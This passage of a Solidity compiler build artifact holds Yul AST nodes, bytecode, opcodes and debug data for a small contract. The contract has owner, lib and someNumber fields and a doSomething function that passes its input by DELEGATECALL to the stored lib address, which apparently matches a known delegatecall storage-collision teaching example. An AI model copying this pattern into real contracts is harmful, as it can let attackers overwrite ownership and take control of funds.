"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "503:7:1",
"type": ""
}
],
"src": "466:96:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "611:79:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "668:16:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "677:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "680:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "670:6:1"
},
"nodeType": "YulFunctionCall",
"src": "670:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "670:12:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "634:5:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "659:5:1"
}
],
"functionName": {
"name": "cleanup_t_address",
"nodeType": "YulIdentifier",
"src": "641:17:1"
},
"nodeType": "YulFunctionCall",
"src": "641:24:1"
}
],
"functionName": {
"name": "eq",
"nodeType": "YulIdentifier",
"src": "631:2:1"
},
"nodeType": "YulFunctionCall",
"src": "631:35:1"
}
],
"functionName": {
"name": "iszero",
"nodeType": "YulIdentifier",
"src": "624:6:1"
},
"nodeType": "YulFunctionCall",
"src": "624:43:1"
},
"nodeType": "YulIf",
"src": "621:63:1"
}
]
},
"name": "validator_revert_t_address",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "604:5:1",
"type": ""
}
],
"src": "568:122:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "759:80:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "769:22:1",
"value": {
"arguments": [
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "784:6:1"
}
],
"functionName": {
"name": "mload",
"nodeType": "YulIdentifier",
"src": "778:5:1"
},
"nodeType": "YulFunctionCall",
"src": "778:13:1"
},
"variableNames": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "769:5:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "827:5:1"
}
],
"functionName": {
"name": "validator_revert_t_address",
"nodeType": "YulIdentifier",
"src": "800:26:1"
},
"nodeType": "YulFunctionCall",
"src": "800:33:1"
},
"nodeType": "YulExpressionStatement",
"src": "800:33:1"
}
]
},
"name": "abi_decode_t_address_fromMemory",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "737:6:1",
"type": ""
},
{
"name": "end",
"nodeType": "YulTypedName",
"src": "745:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "753:5:1",
"type": ""
}
],
"src": "696:143:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "922:274:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "968:83:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulIdentifier",
"src": "970:77:1"
},
"nodeType": "YulFunctionCall",
"src": "970:79:1"
},
"nodeType": "YulExpressionStatement",
"src": "970:79:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "943:7:1"
},
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "952:9:1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "939:3:1"
},
"nodeType": "YulFunctionCall",
"src": "939:23:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "964:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "slt",
"nodeType": "YulIdentifier",
"src": "935:3:1"
},
"nodeType": "YulFunctionCall",
"src": "935:32:1"
},
"nodeType": "YulIf",
"src": "932:119:1"
},
{
"nodeType": "YulBlock",
"src": "1061:128:1",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "1076:15:1",
"value": {
"kind": "number",
"nodeType": "YulLiteral",
"src": "1090:1:1",
"type": "",
"value": "0"
},
"variables": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "1080:6:1",
"type": ""
}
]
},
{
"nodeType": "YulAssignment",
"src": "1105:74:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1151:9:1"
},
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "1162:6:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1147:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1147:22:1"
},
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "1171:7:1"
}
],
"functionName": {
"name": "abi_decode_t_address_fromMemory",
"nodeType": "YulIdentifier",
"src": "1115:31:1"
},
"nodeType": "YulFunctionCall",
"src": "1115:64:1"
},
"variableNames": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "1105:6:1"
}
]
}
]
}
]
},
"name": "abi_decode_tuple_t_address_fromMemory",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "892:9:1",
"type": ""
},
{
"name": "dataEnd",
"nodeType": "YulTypedName",
"src": "903:7:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "915:6:1",
"type": ""
}
],
"src": "845:351:1"
}
]
},
"contents": "{\n\n function allocate_unbounded() -> memPtr {\n memPtr := mload(64)\n }\n\n function revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() {\n revert(0, 0)\n }\n\n function revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() {\n revert(0, 0)\n }\n\n function cleanup_t_uint160(value) -> cleaned {\n cleaned := and(value, 0xffffffffffffffffffffffffffffffffffffffff)\n }\n\n function cleanup_t_address(value) -> cleaned {\n cleaned := cleanup_t_uint160(value)\n }\n\n function validator_revert_t_address(value) {\n if iszero(eq(value, cleanup_t_address(value))) { revert(0, 0) }\n }\n\n function abi_decode_t_address_fromMemory(offset, end) -> value {\n value := mload(offset)\n validator_revert_t_address(value)\n }\n\n function abi_decode_tuple_t_address_fromMemory(headStart, dataEnd) -> value0 {\n if slt(sub(dataEnd, headStart), 32) { revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() }\n\n {\n\n let offset := 0\n\n value0 := abi_decode_t_address_fromMemory(add(headStart, offset), dataEnd)\n }\n\n }\n\n}\n",
"id": 1,
"language": "Yul",
"name": "#utility.yul"
}
],
"linkReferences": {},
"object": "608060405234801561001057600080fd5b5060405161053c38038061053c8339818101604052810190610032919061011c565b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610149565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006100e9826100be565b9050919050565b6100f9816100de565b811461010457600080fd5b50565b600081519050610116816100f0565b92915050565b600060208284031215610132576101316100b9565b5b600061014084828501610107565b91505092915050565b6103e4806101586000396000f3fe608060405234801561001057600080fd5b506004361061004c5760003560e01c80638da5cb5b14610051578063928012301461006f578063931c9b991461008d578063a6b206bf146100ab575b600080fd5b6100596100c7565b6040516100669190610270565b60405180910390f35b6100776100ed565b6040516100849190610270565b60405180910390f35b610095610111565b6040516100a291906102a4565b60405180910390f35b6100c560048036038101906100c091906102f0565b610117565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168160405160240161015f91906102a4565b6040516020818303038152906040527fa6b206bf000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516101e99190610397565b600060405180830381855af49150503d8060008114610224576040519150601f19603f3d011682016040523d82523d6000602084013e610229565b606091505b50505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061025a8261022f565b9050919050565b61026a8161024f565b82525050565b60006020820190506102856000830184610261565b92915050565b6000819050919050565b61029e8161028b565b82525050565b60006020820190506102b96000830184610295565b92915050565b600080fd5b6102cd8161028b565b81146102d857600080fd5b50565b6000813590506102ea816102c4565b92915050565b600060208284031215610306576103056102bf565b5b6000610314848285016102db565b91505092915050565b600081519050919050565b600081905092915050565b60005b83811015610351578082015181840152602081019050610336565b83811115610360576000848401525b50505050565b60006103718261031d565b61037b8185610328565b935061038b818560208601610333565b80840191505092915050565b60006103a38284610366565b91508190509291505056fea26469706673582212201be155d7e91ff4803c131fae9def0f36159190271e70b83ecdca3a14bba7cfac64736f6c634300080c0033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x40 MLOAD PUSH2 0x53C CODESIZE SUB DUP1 PUSH2 0x53C DUP4 CODECOPY DUP2 DUP2 ADD PUSH1 0x40 MSTORE DUP2 ADD SWAP1 PUSH2 0x32 SWAP2 SWAP1 PUSH2 0x11C JUMP JUMPDEST DUP1 PUSH1 0x0 DUP1 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF MUL NOT AND SWAP1 DUP4 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND MUL OR SWAP1 SSTORE POP CALLER PUSH1 0x1 PUSH1 0x0 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF MUL NOT AND SWAP1 DUP4 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND MUL OR SWAP1 SSTORE POP POP PUSH2 0x149 JUMP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0xE9 DUP3 PUSH2 0xBE JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0xF9 DUP2 PUSH2 0xDE JUMP JUMPDEST DUP2 EQ PUSH2 0x104 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 DUP2 MLOAD SWAP1 POP PUSH2 0x116 DUP2 PUSH2 0xF0 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x132 JUMPI PUSH2 0x131 PUSH2 0xB9 JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x140 DUP5 DUP3 DUP6 ADD PUSH2 0x107 JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH2 0x3E4 DUP1 PUSH2 0x158 PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN INVALID PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x4 CALLDATASIZE LT PUSH2 0x4C JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x8DA5CB5B EQ PUSH2 0x51 JUMPI DUP1 PUSH4 0x92801230 EQ PUSH2 0x6F JUMPI DUP1 PUSH4 0x931C9B99 EQ PUSH2 0x8D JUMPI DUP1 PUSH4 0xA6B206BF EQ PUSH2 0xAB JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x59 PUSH2 0xC7 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x66 SWAP2 SWAP1 PUSH2 0x270 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x77 PUSH2 0xED JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x84 SWAP2 SWAP1 PUSH2 0x270 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x95 PUSH2 0x111 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0xA2 SWAP2 SWAP1 PUSH2 0x2A4 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0xC5 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH2 0xC0 SWAP2 SWAP1 PUSH2 0x2F0 JUMP JUMPDEST PUSH2 0x117 JUMP JUMPDEST STOP JUMPDEST PUSH1 0x1 PUSH1 0x0 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 JUMP JUMPDEST PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 JUMP JUMPDEST PUSH1 0x2 SLOAD DUP2 JUMP JUMPDEST PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 PUSH1 0x40 MLOAD PUSH1 0x24 ADD PUSH2 0x15F SWAP2 SWAP1 PUSH2 0x2A4 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH1 0x20 DUP2 DUP4 SUB SUB DUP2 MSTORE SWAP1 PUSH1 0x40 MSTORE PUSH32 0xA6B206BF00000000000000000000000000000000000000000000000000000000 PUSH28 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF NOT AND PUSH1 0x20 DUP3 ADD DUP1 MLOAD PUSH28 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP4 DUP2 DUP4 AND OR DUP4 MSTORE POP POP POP POP PUSH1 0x40 MLOAD PUSH2 0x1E9 SWAP2 SWAP1 PUSH2 0x397 JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 GAS DELEGATECALL SWAP2 POP POP RETURNDATASIZE DUP1 PUSH1 0x0 DUP2 EQ PUSH2 0x224 JUMPI PUSH1 0x40 MLOAD SWAP2 POP PUSH1 0x1F NOT PUSH1 0x3F RETURNDATASIZE ADD AND DUP3 ADD PUSH1 0x40 MSTORE RETURNDATASIZE DUP3 MSTORE RETURNDATASIZE PUSH1 0x0 PUSH1 0x20 DUP5 ADD RETURNDATACOPY PUSH2 0x229 JUMP JUMPDEST PUSH1 0x60 SWAP2 POP JUMPDEST POP POP POP POP JUMP JUMPDEST PUSH1 0x0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x25A DUP3 PUSH2 0x22F JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x26A DUP2 PUSH2 0x24F JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x285 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x261 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x29E DUP2 PUSH2 0x28B JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x2B9 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x295 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x2CD DUP2 PUSH2 0x28B JUMP JUMPDEST DUP2 EQ PUSH2 0x2D8 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0x2EA DUP2 PUSH2 0x2C4 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x306 JUMPI PUSH2 0x305 PUSH2 0x2BF JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x314 DUP5 DUP3 DUP6 ADD PUSH2 0x2DB JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 MLOAD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 JUMPDEST DUP4 DUP2 LT ISZERO PUSH2 0x351 JUMPI DUP1 DUP3 ADD MLOAD DUP2 DUP5 ADD MSTORE PUSH1 0x20 DUP2 ADD SWAP1 POP PUSH2 0x336 JUMP JUMPDEST DUP4 DUP2 GT ISZERO PUSH2 0x360 JUMPI PUSH1 0x0 DUP5 DUP5 ADD MSTORE JUMPDEST POP POP POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x371 DUP3 PUSH2 0x31D JUMP JUMPDEST PUSH2 0x37B DUP2 DUP6 PUSH2 0x328 JUMP JUMPDEST SWAP4 POP PUSH2 0x38B DUP2 DUP6 PUSH1 0x20 DUP7 ADD PUSH2 0x333 JUMP JUMPDEST DUP1 DUP5 ADD SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x3A3 DUP3 DUP5 PUSH2 0x366 JUMP JUMPDEST SWAP2 POP DUP2 SWAP1 POP SWAP3 SWAP2 POP POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 SHL 0xE1 SSTORE 0xD7 0xE9 0x1F DELEGATECALL DUP1 EXTCODECOPY SGT 0x1F 0xAE SWAP14 0xEF 0xF CALLDATASIZE ISZERO SWAP2 SWAP1 0x27 0x1E PUSH17 0xB83ECDCA3A14BBA7CFAC64736F6C634300 ADDMOD 0xC STOP CALLER ",
"sourceMap": "183:317:0:-:0;;;284:81;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;326:4;320:3;;:10;;;;;;;;;;;;;;;;;;348;340:5;;:18;;;;;;;;;;;;;;;;;;284:81;183:317;;88:117:1;197:1;194;187:12;334:126;371:7;411:42;404:5;400:54;389:65;;334:126;;;:::o;466:96::-;503:7;532:24;550:5;532:24;:::i;:::-;521:35;;466:96;;;:::o;568:122::-;641:24;659:5;641:24;:::i;:::-;634:5;631:35;621:63;;680:1;677;670:12;621:63;568:122;:::o;696:143::-;753:5;784:6;778:13;769:22;;800:33;827:5;800:33;:::i;:::-;696:143;;;;:::o;845:351::-;915:6;964:2;952:9;943:7;939:23;935:32;932:119;;;970:79;;:::i;:::-;932:119;1090:1;1115:64;1171:7;1162:6;1151:9;1147:22;1115:64;:::i;:::-;1105:74;;1061:128;845:351;;;;:::o;183:317:0:-;;;;;;;"
},
"deployedBytecode": {
"functionDebugData": {
"@doSomething_51": {
"entryPoint": 279,
"id": 51,
"parameterSlots": 1,
"returnSlots": 0
},
"@lib_16": {
"entryPoint": 237,
"id": 16,
"parameterSlots": 0,
"returnSlots": 0
},
"@owner_18": {
"entryPoint": 199,
"id": 18,
"parameterSlots": 0,
"returnSlots": 0
},
"@someNumber_20": {
"entryPoint": 273,
"id": 20,
"parameterSlots": 0,
"returnSlots": 0
},
"abi_decode_t_uint256": {
"entryPoint": 731,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_decode_tuple_t_uint256": {
"entryPoint": 752,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_encode_t_address_to_t_address_fromStack": {
"entryPoint": 609,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"abi_encode_t_bytes_memory_ptr_to_t_bytes_memory_ptr_nonPadded_inplace_fromStack": {
"entryPoint": 870,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_encode_t_uint256_to_t_uint256_fromStack": {
"entryPoint": 661,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"abi_encode_tuple_packed_t_bytes_memory_ptr__to_t_bytes_memory_ptr__nonPadded_inplace_fromStack_reversed": {
"entryPoint": 919,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_encode_tuple_t_address__to_t_address__fromStack_reversed": {
"entryPoint": 624,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed": {
"entryPoint": 676,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"allocate_unbounded": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 1
},
"array_length_t_bytes_memory_ptr": {
"entryPoint": 797,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"array_storeLengthForEncoding_t_bytes_memory_ptr_nonPadded_inplace_fromStack": {
"entryPoint": 808,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"cleanup_t_address": {
"entryPoint": 591,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_uint160": {
"entryPoint": 559,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_uint256": {
"entryPoint": 651,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"copy_memory_to_memory": {
"entryPoint": 819,
"id": null,
"parameterSlots": 3,
"returnSlots": 0
},
"revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b": {
"entryPoint": 703,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"validator_revert_t_uint256": {
"entryPoint": 708,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
}
},
"generatedSources": [
{
"ast": {
"nodeType": "YulBlock",
"src": "0:3186:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "52:81:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "62:65:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "77:5:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "84:42:1",
"type": "",
"value": "0xffffffffffffffffffffffffffffffffffffffff"
}
],
"functionName": {
"name": "and",
"nodeType": "YulIdentifier",
"src": "73:3:1"
},
"nodeType": "YulFunctionCall",
"src": "73:54:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "62:7:1"
}
]
}
]
},
"name": "cleanup_t_uint160",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "34:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "44:7:1",
"type": ""
}
],
"src": "7:126:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "184:51:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "194:35:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "223:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint160",
"nodeType": "YulIdentifier",
"src": "205:17:1"
},
"nodeType": "YulFunctionCall",
"src": "205:24:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "194:7:1"
}
]
}
]
},
"name": "cleanup_t_address",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "166:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "176:7:1",
"type": ""
}
],
"src": "139:96:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "306:53:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "323:3:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "346:5:1"
}
],
"functionName": {
"name": "cleanup_t_address",
"nodeType": "YulIdentifier",
"src": "328:17:1"
},
"nodeType": "YulFunctionCall",
"src": "328:24:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "316:6:1"
},
"nodeType": "YulFunctionCall",
"src": "316:37:1"
},
"nodeType": "YulExpressionStatement",
"src": "316:37:1"
}
]
},
"name": "abi_encode_t_address_to_t_address_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "294:5:1",
"type": ""
},
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "301:3:1",
"type": ""
}
],
"src": "241:118:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "463:124:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "473:26:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "485:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "496:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "481:3:1"
},
"nodeType": "YulFunctionCall",
"src": "481:18:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "473:4:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "553:6:1"
},
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "566:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "577:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "562:3:1"
},
"nodeType": "YulFunctionCall",
"src": "562:17:1"
}
],
"functionName": {
"name": "abi_encode_t_address_to_t_address_fromStack",
"nodeType": "YulIdentifier",
"src": "509:43:1"
},
"nodeType": "YulFunctionCall",
"src": "509:71:1"
},
"nodeType": "YulExpressionStatement",
"src": "509:71:1"
}
]
},
"name": "abi_encode_tuple_t_address__to_t_address__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "435:9:1",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "447:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "458:4:1",
"type": ""
}
],
"src": "365:222:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "638:32:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "648:16:1",
"value": {
"name": "value",
"nodeType": "YulIdentifier",
"src": "659:5:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "648:7:1"
}
]
}
]
},
"name": "cleanup_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "620:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "630:7:1",
"type": ""
}
],
"src": "593:77:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "741:53:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "758:3:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "781:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "763:17:1"
},
"nodeType": "YulFunctionCall",
"src": "763:24:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "751:6:1"
},
"nodeType": "YulFunctionCall",
"src": "751:37:1"
},
"nodeType": "YulExpressionStatement",
"src": "751:37:1"
}
]
},
"name": "abi_encode_t_uint256_to_t_uint256_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "729:5:1",
"type": ""
},
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "736:3:1",
"type": ""
}
],
"src": "676:118:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "898:124:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "908:26:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "920:9:1"
},
